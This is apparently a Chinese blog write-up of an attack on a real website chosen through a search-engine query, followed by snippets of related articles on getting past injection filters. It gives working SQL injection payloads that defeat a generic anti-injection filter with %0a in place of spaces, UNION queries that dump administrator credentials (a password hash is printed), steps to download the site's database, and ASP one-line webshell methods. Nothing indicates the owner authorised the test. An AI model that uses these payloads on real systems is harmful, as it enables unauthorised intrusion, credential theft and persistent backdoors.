Acesss数据库手工绕过通用代码防注入系统

By antian365 残枫 simeon

渗透过程就是各种安全技术的再现过程,本次渗透从SQL注入点的发现到绕过sql注入通用代码的防注入,可以说是打开了一扇门,通过sql注入获取管理员密码,获取数据库,如果在条件允许的情况下是完全可以获取webshell。在本文中还对access数据库获取webshell等关键技术进行了总结。

1.1获取目标信息

通过百度进行关键字“news.asp?id=”搜索,在搜索结果中随机选择一个记录,打开如图1所示,测试网站是否能够正常访问,同时在Firefox中使用F9功能键,打开hackbar

图1测试目标站点

1.2测试是否存在SQL注入

http://www.xxxxx.com/网站中随机打开一个新闻链接地址http://www.xxxxx.com/news.asp?id=1172在其地址后加入and 1= 2和and 1 = 1判断是否有注入,如图2所示,单击Execute后,页面显示存在“SQL通用防注入系统”。

图2存在SQL通用防注入系统

在网站地址后加入“-0”和“/”进行测试,打开“http://www.xxxxx.com/news.asp?id=1172/”浏览器显示结果如图3所示,打开“http://www.xxxxx.com/news.asp?id=1172-0”后结果如图4所示,明显存在SQL注入。

图3显示无内容

图4显示存在内容

1.3绕过SQL防注入系统

1.post提交无法绕过

在Post data中输入and 1=1 和and 1=2,勾选“Enable Post data”,单击“Execute”进行测试,如图5所示,结果无任何变化,说明直接post提交无法绕过。

图5 post提交无法绕过

2.替换空格绕过

换了POST方式后还是不行,朋友说使用%09(也就是tab键)可以绕过,经过测试还是不行,如图6所示,用%0a(换行符)替换下空格成功绕过,如图7所示。

图6无法绕过

图7成功绕过

1.4获取数据库类型以及表和字段

(1)判断数据库类型

通过and (selectcount(*) from sysobjects)>0和and (select count(*) from msysobjects)>0的出错信息来判断网站采用的数据库类型。若数据库是SQL-SERVE,则第一条,网页一定运行正常,第二条则异常;若是ACCESS则两条都会异常。在POST中通过依次提交:

and%0a(select%0acount(*)%0afrom%0asysobjects)>0

and%0a(select%0acount(*)%0afrom%0amsysobjects)>0

其结果显示“目前还没有内容!”实际内容应该是id=1158的内容,两条语句执行的结果均为异常,说明为access数据库。

(2)通过order by判断列名

id=1172%0aorder%0aby%0a23 正常

id=1172%0aorder%0aby%0a24 错误

“Order by 23”正常,23代表查询的列名的数目有23个

(3)判断是否存在admin表

and (select count(*) from admin)>0

and%0a(select%0acount(*)%0afrom%0aadmin)>0

(4)判断是否存在user以及pass字段

and (select count(username) fromadmin)>0

and (select count(password) fromadmin)>0

变换后的语句

and %0a (select%0acount(user) %0afrom%0aadmin)>0

and%0a (select%0acount(pass) %0afrom%0aadmin)>0

测试admin表中是否存在uid,id,uid报错,如图8所示,id正常,如图9所示。

图8uid不存在

图9id存在

1.5获取管理员密码

id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin,获取admin-dh用户的密码“5ed9ff1d48e059b50db232f497b35b45”,如图10所示,通过登录后台后发现该用户权限较低,因此还需要获取其它管理员用户的密码执行语句:

id=1158%0aUNION%0aSelect%0a1,2,3,4,user,pass,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%0afrom%0aadmin%0awhere%0aid=1,获取id为1的用户密码,如图11所示。

图10获取amdin-dh用户密码

图11获取管理员zzchxj用户密码

1.6.获取数据库

(1)数据库备份相关信息获取

如图12所示,在后台管理中存在数据库备份功能。在备份页面中有当前数据库路径、备份数据库目录、备份数据库名称等信息。

图12数据库备份

(2)通过压缩功能获取真实数据库名称

单击“压缩”,如图13所示,获取数据库的真实名称和路径等信息“../data-2016/@@@xxxxx###.asp”。

图13获取数据库真实路径和名称信息

(3)备份并获取数据库

将“../data-2016/@@@xxxxx###.asp”填入当前数据库路径,备份数据库名称“db1.mdb”,如图14所示,备份数据库成功,您备份的数据库路径为服务器空间的:d:\virtualhost\*********\www\ahs*****admin\Databackup\db1.mdb,数据库下载地址为:

http://www.xxxxx.com/ahszhdzzcadmin/Databackup/db1.mdb

图14备份数据库

1.8access数据库获取webshell方法

(1)查询导出方法

create table cmd (a varchar(50))

insert into cmd (a) values (‘<%executerequest(chr(35))%>‘)

select * into [a] in ‘c:\wwwroot\1.asa;x.xls‘ ‘excel 4.0;‘ from cmd

drop table cmd

直接菜刀里连接http://www.antian365.com/1.asa;x.xls

(2)数据库备份

在留言等可以写入数据内容的地方插入“┼攠數畣整爠煥敵瑳∨≡┩愾”,通过数据库备份来获取其一句后门密码为a。

(3)数据库图片备份获取

将插入一句话后门的图片木马上传到网站,获取其图片的具体地址,然后通过备份,将备份文件设置为图片文件的具体位置,备份文件例如指定为/databacp/1.asp来获取webshell。

1.9参考文章

(1)http://www.freebuf.com/articles/web/36683.html,绕过WAF继续SQL注入常用方法

(2)http://www.cnblogs.com/joy-nick/p/5774462.html,SQLInjection绕过技巧

(3)http://www.antian365.com/forum.php?mod=viewthread&tid=1084&extra=,整理比较全的AccessSQL注入参考

时间: 2024-08-18 11:41:20

Acesss数据库手工绕过通用代码防注入系统的相关文章

绕过防注入系统的方法

路过这个网站,检测了一下.http://www.xxx.cn/Article.asp?ID=117 and 1=1直接返回主页http://www.xxx.cn/Article.asp?ID=117 or 1=1直接返回主页http://www.xxx.cn/Article.asp?ID=117 or没有返回主页 没有过滤orhttp://www.xxx.cn/Article.asp?ID=117 and直接返回主页 看来过滤了andhttp://www.xxx.cn/Article.asp?I

11种绕过防注入系统的方法

1.运用编码技术绕过如URLEncode编码,ASCII编码绕过.例如or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116).2.通过空格绕过如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如or' swords' ='swords',由于mssql的松散性,我们可以把or 'swords' 之间的空格去掉,并不影响运行.3.运用字符串判断代替用经典的or 1=1判断绕过,如or 'swor

sql 防注入 维基百科

http://zh.wikipedia.org/wiki/SQL%E8%B3%87%E6%96%99%E9%9A%B1%E7%A2%BC%E6%94%BB%E6%93%8A SQL攻击(SQL injection,台湾称作SQL资料隐码攻击),简称注入攻击,是发生于应用程序之数据库层的安全漏洞.简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏. 有部份人认为SQL注入攻击是只针对Mi

php之防注入程序绕过浅谈

<?php/*判断传递的变量是否含有非法字符如:$_POST/$_GET功能:SQL防注入系统*/ //屏蔽错误提示error_reporting(7); //需要过滤的字符 $ArrFiltrate = array("'", "or", "and", "union", "where"); //1.如果规则不完全,也会引起安全问题 //出错跳转的URL$StrGoUrl = "";

绕过防注入的几种方法

1.运用编码技术绕过 如URLEncode编码,ASCII编码绕过.例如or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116). 2.通过空格绕过 如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 or swords =‘swords,由于mssql的松散性,我们可以把or swords 之间的空格去掉,并不影响运行. 3.运用字符串判断代替 用经典的or 1=1判断绕过,如or swor

PHP防注入

php网站如何防止sql注入? 网站的运行安全肯定是每个站长必须考虑的问题,大家知道,大多数黑客攻击网站都是采用sql注入,这就是我们常说的为什么最原始的静态的网站反而是最安全的. 今天我们讲讲PHP注入的安全规范,防止自己的网站被sql注入. 如今主流的网站开发语言还是php,那我们就从php网站如何防止sql注入开始说起: Php注入的安全防范通过上面的过程,我们可以了解到php注入的原理和手法,当然我们也同样可以制定出相应该的防范方法:首先是对服务器的安全设置,这里主要是php+mysql

PDO防注入原理分析以及使用PDO的注意事项

我们都知道,只要合理正确使用PDO,可以基本上防止SQL注入的产生,本文主要回答以下两个问题: 为什么要使用PDO而不是mysql_connect? 为何PDO能防注入? 使用PDO防注入的时候应该特别注意什么? 一.为何要优先使用PDO? PHP手册上说得很清楚: Prepared statements and stored proceduresMany of the more mature databases support the concept of prepared statement

asp防注入安全问题

一.古老的绕验证漏洞虽然古老,依然存在于很多小程序之中,比如一些企业网站的后台,简单谈谈.这个漏洞出现在没有对接受的变量进行过滤,带入数据库判断查询时,造成SQL语句的逻辑问题.例如以下代码存在问题:username=request("username")password=request("password")sql = "select * from user where username='" & username & &quo

云体检通用代码补丁

版本:v1.1 更新时间:2013-05-25 更新内容:优化性能 功能说明: 可以有效防护XSS,sql注射,代码执行,文件包含等多种高危漏洞. 使用方法: 将waf.php传到要包含的文件的目录 在页面中加入防护,有两种做法,根据情况二选一即可: a).在所需要防护的页面加入代码就可以做到页面防注入.跨站 复制代码 require_once('waf.php'); 如果想整站防注,就在网站的一个公用文件中,如数据库链接文件config.inc.php,来调用本代码.常用php系统添加文件 引